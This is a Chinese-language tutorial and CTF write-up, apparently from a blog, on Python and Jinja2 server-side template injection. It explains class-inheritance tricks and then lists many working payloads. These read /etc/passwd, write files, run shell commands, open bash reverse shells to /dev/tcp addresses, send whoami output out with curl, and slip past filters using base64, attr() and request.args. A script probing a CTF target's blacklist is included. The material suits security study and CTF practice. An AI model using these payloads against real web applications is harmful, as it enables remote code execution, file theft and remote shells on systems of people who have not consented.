前言之前也接觸過什麼是SSTI,但大多以題目進行了解,很多模塊以及payload都不了解其意就直接拿過來用,感覺並沒有學到什麼東西,最主要的是在繞過的過程中,不清楚原理沒有辦法構造,這次就好好來學習一下原理以及姿勢一、基礎知識0x00:沙盒逃逸沙箱逃逸,就是在一個代碼執行環境下(Oj或使用socat生成的交互式終端),脫離種種過濾和限制,最終成功拿到shell權限的過程0x01:python的內建函數啟動python解釋器時,即使沒有創建任何變量或函數,還是會有很多函數可供使用,這些就是python的內建函數在python交互模式下,使用命令dir('builtins')即可查看當前python版本的一些內建變量、內建函數0x02:名稱空間python的名稱空間,是從名稱到對象的映射,在python程序的執行過程中,至少會存在兩個名稱空間。1、內建名稱空間:python自帶的名字,在python解釋器啟動時產生,存放一些python內置的名字2、全局名稱空間:在執行文件時,存放文件級別定義的名字3、局部名稱空間(可能不存在):在執行文件的過程中,如果調用了函數,則會產生該函數的名稱空間,用來存放該函數內定義的名字,該名字在函數調用時生效,調用結束後失效在python中,初始的builtins模塊提供內建名稱空間到內建對象的映射在沒有提供對象的時候,將會提供當前環境所導入的所有模塊,不管是哪個版本,可以看到__builtins__是做為默認初始模塊出現的,使用dir()命令查看一下__builtins__這也就是為什麼python解釋器里能夠直接使用某些函數的原因,加載順序操作python解釋器會自動執行,所以我們能直接看到一個函數被使用,如:使用print函數0x03:類繼承上面了解了什麼是名稱空間,要學會構造SSTI的payload,還需要學習一下類繼承,那什麼是類繼承那?python中一切均為對象,均繼承於object對象,python的object類中集成了很多的基礎函數,假如我們需要在payload中使用某個函數就需要用object去操作。__base__:對象的一個基類,一般情況下是object__mro__:獲取對象的基類,只是這時會顯示出整個繼承鏈的關係,是一個列表,object在最底層所以在列表中的最後,通過__mro__[-1]可以獲取到__subclasses__():繼承此對象的子類,返回一個列表考察SSTI的CTF題目一般都是給個變量,因為有這些類繼承的方法,便可以從任何一個變量,回溯到基類中去,再獲得到此基類所有實現的類,這便是攻擊方式:找到我們想要的模塊或者函數,然後進行構造payload。0x04:常見payload分析通過掌握上面的基礎知識便可以來簡單分析一下常見的payload,如:#python2''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()__globals__以字典類型返回當前位置的全部全局變量3、再添加上__subclasses__()返回的便是類的所有子類4、接下來添加上__init__用傳入的參數來初始化實例,使用__globals__以字典返回內建模塊如果是python3的話,那這個payload就需要重新修改,因為python3返回的不再是site.Printer類,而是ContextVar類''.__class__.__mro__[-1].__subclasses__()[72]返回的是ContextVar類for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)將__subclasses__()每個字類都返回出來0x05:考察的Web框架及模板引擎因為每個框架涉及的知識都很多,這裡就不再詳細記錄了,只記錄一下在做題的時候可能會遇到的配置文件這個是Tornado框架本身提供給程序員可快速訪問的配置文件對象之一handler.settings-> RequestHandler.application.settings可以獲取當前application.settings,從中獲取到敏感信息[護網杯 2018]easy_tornado便考察了這個點config 是Flask模版中的一個全局對象,代表「當前配置對象(flask.config)」,是一個類字典的對象,包含了所有應用程序的配置值。在大多數情況下,包含了比如數據庫鏈接字符串,連接到第三方的憑證,SECRET_KEY等敏感值。get_flashed_messages()— 用於獲取flash消息{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}如果過濾了{{config}}且框架是flask的話便可以使用如下payload進行代替{{get_flashed_messages.__globals__['current_app'].config}}{{url_for.__globals__['current_app'].config}}要判斷是哪個模板引擎,可以參考下圖或者使用工具tplmap進行檢測0x06:Python常用的命令執行方式該方法的參數就是string類型的命令,在linux上,返回值為執行命令的exit值;而windows上,返回值則是運行命令後,shell的返回值。注意:該函數返回命令執行結果的返回值,並不是返回命令的執行輸出(執行成功返回0,失敗返回-1)返回的是file read的對象,如果想獲取執行命令的輸出,則需要調用該對象的read()方法
二、姿勢匯總0x00:做題思考一般遇到SSTI的題目時都是直接去搜現成的payload,然後進行套用,但有的時候考察的點或者是python環境不同,就可能出現上面的類差異,從而導致payload無法正常使用,解不出題來所以在做題的時候就要思考,需要的是什麼模塊,比如想要os模塊,那麼就可以通過編寫腳本查找os模塊就會非常方便一些num = 0for item in ''.__class__.__mro__[-1].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: num+=1原理相同,但是python3環境變化了,例如python2下有file而python3沒有,所以直接用open。python3的利用主要索引在於builtins,找到了它便可以利用其中的eval、open等等來執行想要的操作#!/usr/bin/python3# coding=utf-8# python 3.5#jinja2模板from flask import Flaskfrom jinja2 import Template# Some of special namessearchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']neededFunction = ['eval', 'open', 'exec']pay = int(input("Payload?[1|0]"))for index, i in enumerate({}.__class__.__base__.__subclasses__()): for attr in searchList: if hasattr(i, attr): if eval('str(i.'+attr+')[1:9]') == 'function': for goal in neededFunction: if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')): if pay != 1: print(i.__name__,":", attr, goal) else: print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")0x01:常見payload有現成的payload肯定用起來香啊,還是總結一些,方便之後自己再做類似的題目參考#python2有file#讀取密碼''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()#寫文件''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')#OS模塊system''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')popen''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()#eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")#__import__''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#反彈shell''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服務器地址/端口 0>&1').read()().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')注意該Payload不能直接放在 URL 中執行 , 因為 & 的存在會導致 URL 解析出現錯誤,可以使用burp等工具#request.environ與服務器環境相關的對象字典#python3沒有file,用的是open#文件讀取{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}#命令執行{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')https://github.com/payloadbox/ssti-payloads其他的就不再一一列舉了,可以參考Github上的。0x02:Bypass姿勢object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(#等價於().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")#使用getitem()\pop()__mro__[2]== __mro__.__getitem__(2)''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read(){% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}{{()|attr(request.values.a)}}&a=class使用request對象繞過,假設過濾了__class__,可以使用下面的形式進行替代#1{{''[request.args.t1]}}&t1=__class__#若request.args改為request.values則利用post的方式進行傳參#2{{''[request['args']['t1']]}}&t1=__class__#若使用POST,args換成form即可#attr(){{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}#[]{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}如果reload可以用則可以重載,從而恢復內建函數
三、題目實踐UNCTF2020-easyflaskimport requestsfrom time import sleepdic = ['config','class', 'bases','_','\'','subclasses', '[', '(', 'read', 'mro', 'init', 'globals', 'builtins', 'file', 'func_globals', 'linecache', 'system', 'values', 'import', 'module', 'call', 'name', 'getitem', 'pop', 'args', 'path', 'popen', 'eval', 'end', 'for', 'if', 'config']pass_dic = []for i in dic: url = "http://6f38b1e6-520d-47ff-a72b-14e481f513cb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={}".format(i) res = requests.get(url=url).text # print(res) # sleep(1) if 'black list filter' in res: pass_dic.append(i) print(pass_dic)過濾了' _ [ ],那接下來就要思考怎麼去構造payload了,上面總結的payload直接拿來用肯定會被過濾,因為大多數涉及到了[,但可以使用|attr和request.args.xx來繞過下劃線和引號,只要明白原理,便可以使用上面的payload修改一下即可{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}{{()|attr(request.args.class)|attr(request.args.bases)|attr(request.args.subclasses)()|attr(request.args.getitem)(117)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.d)(request.args.e)(request.args.f)|attr(request.args.g)()}}&class=__class__&bases=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&d=get&e=popen&f=cat flag.txt&g=readpayload有很多,只要能從基類獲取到全局變量,之後一步一步調用就可以
參考博客https://blog.csdn.net/weixin_44604541/article/details/109048578https://www.anquanke.com/post/id/188172https://www.cnblogs.com/-chenxs/p/11971164.html
【技術分享】從 CVE-2017-0263 漏洞分析到菜單管理組件(上)【技術分享】Lua程序逆向之Luajit字節碼與反匯編【技術分享】2020 「第五空間」 智能安全大賽 Web Writeup
鑽石舞台 發表在 痞客邦 留言(0) 人氣()